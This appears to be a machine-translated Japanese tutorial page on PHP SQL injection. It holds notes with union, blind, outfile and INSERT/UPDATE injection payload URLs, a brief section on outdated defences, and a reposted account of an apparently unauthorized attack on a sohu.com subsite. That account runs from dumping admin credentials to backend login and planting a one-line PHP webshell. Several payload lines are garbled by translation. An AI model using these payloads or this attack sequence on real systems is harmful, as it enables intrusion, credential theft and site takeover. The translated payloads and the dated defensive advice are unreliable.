ホームページ >バックエンド開発 >PHPチュートリアル >PHP_PHP チュートリアルでの SQL インジェクション プロセスの分析
今日はインターネットから SQL インジェクションに関する基本的なスキルを学びました。 SQL インジェクションの焦点は、SQL ステートメントを構築することです。SQL ステートメントを柔軟に使用することによってのみ、素晴らしいインジェクション文字列を構築できます。勉強した後はメモを書き、いつでも使えるようにしています。以下の内容を読んで、まず SQL の基本原理を理解していただければ幸いです。メモ内のコードはインターネットから取得したものです。
===基本部分===
このテーブルクエリ:
http://127.0.0.1/injection/user.php?username=angel' and LENGTH(password)='6
http://127.0. 0.1/injection/user.php?username=angel' and LEFT(password,1)='m
Union Union ステートメント:
http://127.0.0.1/injection/show.php?id=1' Union select 1, username,password from user/*
http://127.0.0.1/injection/show.php?id=' Union select 1,username,password from user/*
エクスポートファイル:
http://127.0.0.1/injection /user.php?username=angel' を出力ファイル 'c:/file.txt に
http://127.0.0.1/injection/user.php?username=' または 1=1 を出力ファイル 'c:/file.txt に
http://127.0.0.1/injection/show.php?id=' Union select 1,username,password from user into outfile 'c:/user.txt
INSERT ステートメント:
INSERT INTO `user` (userid,ユーザー名、パスワード、ホームページ、ユーザーレベル) VALUES ('', '$username', '$password', '$homepage', '1');
構築されたホームページの値は次のとおりです: http://4ngel.net', ' 3 ')#
SQL ステートメントは次のようになります: INSERT INTO `user` (userid, username,password,homepage, userlevel) VALUES ('', 'angel', 'mypass', 'http://4ngel.net', ' 3 ')#', '1');
UPDATEステートメント: これが好きです
まずこのSQLを理解してください
UPDATE user SET password='MD5($password)',homepage='$homepage' WHERE id= ' $id'
このSQLを以下の形に修正するとインジェクションが実現します
1:ホームページの値を
http://4ngel.net', userlevel='3 に変更します
そうするとSQL文は
UPDATE user SET password となります='mypass',homepage='http://4ngel.net',userlevel='3' WHERE id='$id'
userlevel はユーザーレベルです
2: パスワードの値を
mypass)' WHERE username= 'admin '#
SQL文は
UPDATE user SET password='MD5(mypass)' WHERE username='admin'#)',homepage='$homepage' WHERE id='$id' になります
3: idを変更しますvalue を
' OR username='admin'
すると SQL 文は
UPDATE user SET password='MD5($password)',homepage='$homepage' WHERE id='' OR username='admin'
= となります。 == 応用編 ===
よく使われるMySQL組み込み関数
DATABASE()
USER()
SYSTEM_USER()
SESSION_USER()
CURRENT_USER()
database()
version()
SUBSTRING( )
MID ()
char ()
load_file()
……
関数適用
UPDATE 記事 SET title=DATABASE() WHERE id=1
http://127.0.0.1/injection/show.php?id=-1 Union select 1,database(),version()
SELECT * FROM user WHERE username=char(97,110,103,101,108)
# char(97,110,103,101,108) は angel, 10 進数に相当します
http://127.0.0.1/injection/user.php?userid=1 と、password=char(109,121,112,97,115,115) )http:/ / 127.0.0.1/injection/user.php?userid=1 and LEFT(password,1)>char(100)
http://127.0.0.1/injection/user.php?userid=1 and ord(mid(パスワード,3,1))>111
データ構造内のフィールドの数と型を決定します
http://127.0.0.1/injection/show.php?id=-1 Union select 1,1,1
http :// 127.0.0.1/injection/show.php?id=-1 Union select char(97),char(97),char(97)
データテーブル名を推測してください
http://127.0.0.1/injection/ show.php?id=-1 Union select 1,1,1 from members
ユーザー名とパスワードを取得するためのクロステーブルクエリ
http://127.0.0.1/ymdown/show.php?id=10000 Union select 1,username ,1,password,1 ,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1
その他
#最初のパスワードを確認してください
http ://127.0.0.1/ymdown/show.php?id=10 ユニオン選択 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1, 1,1,1 from ymdown_user where id=1 and ord(mid(password,1,1))=49
===インジェクション防止===
サーバーアスペクト
Magic_quotes_gpc は On に設定されます
Display_errors は Off に設定されます
エンコーディングの側面
$keywords = addlashes ($keywords);
$keywords = str_replace("%","%",$keywords); type
intval() を使用してキャプチャする 文字列の型を変更する
SQL ステートメントのパラメーターに一重引用符を追加する
次のコードは、インジェクションを防ぐために使用されます
if (get_magic_quotes_gpc()) {
//....
}else{
$str = mysql_real_escape_string($str) ;
$keywords = str_replace("_","_",$keywords);
便利な関数
stripslashes()
get_magic_quotes_gpc( )
mysql_real_escape_string()
strip_tags()
array_map()
addslashes()
参考記事:
http://www.4ngel.net/article/36.htm MySQLによるインジェクション)中国語
http://www .phpe.net/mysql_manual/06-4.html (MYSQL ステートメントリファレンス)
sohu.com でのセキュリティチェック
Hacker Defense Line で公開されました
http://www.loveshell で公開.net
sohu.comは、メールをはじめ多くのサービスを提供する国内の比較的大きなポータルサイトです。よく言われるように、このような大規模な Web サイトでは問題を回避するのは困難です。これはサーバーと Web サイトの両方に当てはまります。私は最近 MySQL インジェクションについて学びました。 sohu.com。SQL インジェクションの脆弱性があるかどうかを確認するための小規模なセキュリティ チェック。
sohu.com のメイン Web サイトを見ると、ほとんどすべてが静的であることがわかったので、メイン Web サイトで問題を見つけるという考えはあきらめました。 sohu.com のさまざまなサブサイトを直接閲覧したところ、ほとんどの Web サイトでは Php スクリプトが使用されており、いくつかの Web サイトでは JSP スクリプトが使用されていることがわかりました。経験に基づいて、Php で構築されたシステムの場合、バックグラウンド データベースは一般的にです。 Mysql は、ASP が Mssql に相当するのと同じように、まだ多くの問題が考えられるようです。 Php の特性 (Php はデフォルトで渡されたパラメータの ' などの文字を変換するため、デフォルトでは文字型の変数を注入することが困難です) により、通常は数値型の変数しか注入できません。通常のインジェクションの知識に基づいて、id=XXX の形式で渡されるパラメーターは一般に数値変数であることがわかっているため、脆弱性を見つけるには php?id=XXX を使用してそれらの接続をテストするだけで済みます。 XXX.it.sohu.com で問題のある接続が本当に見つかりました http://XXX.it.sohu.com/book/serialize.php?id=86
送信:
http:// XXX.it.sohu.com/ book/serialize.php?id=86 と 1=1/*
図 1 のように通常に戻ります。
次に送信します:
http://XXX.it.sohu.com/book/serialize.php?id=86 and 1=2/*
図 2 に示すように、情報は返されず、空です。 SQL ステートメントの結果は空である必要があります。
これらの 2 つの URL を通じて、送信した and 1=1 と and 1=2 が SQL ステートメントとして実行されるため、脆弱性が存在すると推測できます。これは、Sql Injected です。また、id 変数は数値として扱われ、'' の間に配置されないこともわかっています。そうでない場合は、変数が他の SQL キーワードをフィルターしなければ、成功する可能性が高くなります。変数による選択のフィルタリングは、mysql の行き詰まりです。
脆弱性が存在するため、まずデータベースの種類とデータベースに接続しているアカウントを検出します。データベースと Web は同じマシン上にあるため、フィールドを推測する手間を省くことができます。送信:
http://XXX.it.sohu.com/book/serialize.php?id=86 と ord(mid(version) () ,1,1))>51/*
図 3 に示すように通常に戻ります。このステートメントは、データベースのバージョンが 3 より大きいかどうかを確認するためのものです。なぜなら、3 の ASCII は 51 であるためです。バージョンは 51 以降です。 もちろん、4.0 以降です。4.0 以降では、ユニオン クエリがサポートされているため、1 つずつ推測する手間が省けます。ここでの結果は true なので、データベースは 4.0 以降であり、ユニオンをサポートできます。 。
union クエリがサポートされているので、最初にこのステートメントのフィールドを公開しましょう! 今後何かをクエリする場合に、union を使用すると非常に高速になります。 php ?id=86 order by 10/*
返された結果は図4に示すように正常です。フィールドは10より大きいようです。送信を続けます:
http://XXX.it.sohu.com/book /serialize.php?id= 86 order by 20/*
通常返品、submit:
http://XXX.it.sohu.com/book/serialize.php?id=86 order by 30/*
……
までに注文する 50 が返されたとき、情報がありませんでした。40 より大きく 50 未満のようだったので、次のように送信しました:
http://XXX.it.sohu.com/book/serialize.php?id =86 order by 45/*
.....
最終的に、フィールドが 41 付近であると推測しました。一部のフィールドはソートできないため、フィールド番号を正確に見つけるには Union を使用する必要があります。これは 41 です。送信:
http://XXX. it.sohu.com/book/serialize.php?id=86 と 1=2 Union select 1,2,3,4,5,6,7,8, 9、10、11、12、13、14、15、16、17、18、19、20、21、22、23、24、25、26、27、28、29、30、31、32、33、 34,35,36,37,38,39,40 ,41/*
返された結果は図 5 に示すとおりです。ページにどのフィールドが表示されるかは明らかです。
http://XXX.it.sohu.com/book/serialize.php?id=86 と 1=2 Union select 1,user(),3,4,database(),6,7,8,9, 10、バージョン()、12、13、14、15、16、17、18、19、20、21、22、23、24、25、26、27、28、29、30、31、32、33、 34,35,36,37,38,39,40,41 /*
返された結果は図 6 のようになり、データベース システムの検出が完了しました。root ではない可能性が非常に高いです。この場合、ファイルのアクセス許可はありません。
http://XXX.it.sohu.com/book/serialize.php?id=86 と (選択してください) count(*) from mysql.user)>0/*
返された結果は図 7 に示すとおりで、mysql の読み取り権限はありません。権限が root ではないことは間違いありません。 root ではありません。がっかりしないで、続けましょう! さらにデータを推測する前に、管理者のパスワードを見つけてもログインできないことがよくあります。ルート ディレクトリの /admin と /manage/、およびバックエンドでよく使用されるその他のアドレスはすべて 404 エラーを返します。何度か推測した結果、最終的に /book/ ディレクトリにあるときに 403 Forbiden が表示されました。間違っています。しかし、このディレクトリは存在します。ログイン ページがわからないので落ち込んでいます。しかし、管理者がいることがわかったので、Google で検索できます:
admin site:sohu.com
図 8 に示すように、In another sub が表示されました。 -サイト フォーラムでは、人々が非常に怠け者であることを知っています。通常、場所のバックエンドの特徴は Web サイト全体の特徴である可能性が高いため、/book/admin/admuser.php にアクセスしようとしたときに奇跡が起こりました。図 9 に示すように、これで Web サイトの背景がわかりました。実際、元のファイルを見ると、ログイン フォームの名前もわかります。名前とパスワードは、推定と一致しない場合でも、相手を推測するのは簡単です。笑、なぜ最初に背景を推測しなければならないのかが分かりました。送信:
http://XXX.it.sohu.com/book/serialize. php?id=86 と 1=2 Union select 1,user(),3,4,database(),6,7,8, 9,10,バージョン(),12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32, 33,34,35,36,37,38,39,40,41 from admin /*
admin テーブルが存在しないことを示すエラーが返されます。admins や admin_user などを試し、最後に送信します:
http。 ://XXX.it.sohu.com/book/serialize.php?id=86 および 1=2 結合選択 1,user(),3,4,database(),6,7,8,9,10,バージョン()、12、13、14、15、16、17、18、19、20、21、22、23、24、25、26、27、28、29、30、31、32、33、34、 user/* から 35,36,37,38,39,40,41 が返されます (笑)。User テーブルがあるので、フィールドは何ですか? /XXX.it.sohu.com/book/serialize.php?id=86 および 1=2 結合選択 1,name,3,4,5,6,7,8,9,10,11,12,13, 14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38, 39,40,41 from user/*
空の情報を返すエラー、送信:
http://XXX .it.sohu.com/book/serialize.php?id=86 and 1=2 Union select 1,password 、3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27 ,28,29,30,31,32,33,34,35,36,37,38,39, 40,41 from user/*
返された結果は図 10 に示されています。ははは、正常に返されました、パスワード管理者テーブルの最初のユーザーのパスワードであるはずです。それでは、多くのフィールドがエラーになったと思います。他に方法がなかったので、ID を入力しました。成功しました! ID は管理者の名前です。送信:
http://XXX.it.sohu.com/book/serialize.php?id=86 と 1=2 Union select 1,password,3,4,id 、6、7、8、9、10、11、12、13、14、15、16、17、18、19、20、21、22、23、24、25、26、27、28、29、30 ,31,32,33,34,35,36,37,38,39,40,41 from user/*
返された結果は図 11 の通りです、ははは、get 管理者の名前がそこにあります、興奮して撮りました!図 12 に示すように、管理者の名前とパスワードがバックエンドに送信され、正常にログインしました。次に、Webシェルを取得する方法を考えます。バックグラウンドで画像をアップロードする場所を見つけましたが、phpファイルをアップロードすると、画像ファイルではないというメッセージが表示され、慎重に探しました。しばらくバックグラウンドを眺めていると、PHP ファイルを生成する機能があることがわかり、図 13 に示すように、そこに 1 文の PHP バックドアが挿入されました。 Generate をクリックすると、プロンプトが表示されれば成功したようです。フィルタリングではないので、Web シェルを取得する必要があります。図 14 に示すように、ワンセンテンス バックドアを使用して接続します。Web シェルの取得が成功したことがスクリプトによって検出されました。 , サーバー上で確認したところ、サーバーのセキュリティは良好でしたが、コマンドが実行できず、基本的にアップロードしたディレクトリ以外は書き込み不可となっておりますが、スクリプトのテストとしては、 Webシェルを取得できれば成功です! フィルタリングを行わない小さなパラメータは、特にsohuなどのWebサイトの崩壊につながる可能性があることもわかります。.comのような大規模なWebサイトにはより多くのパラメータがあるため、フィルタリングにさらに注意を払う必要があります。問題!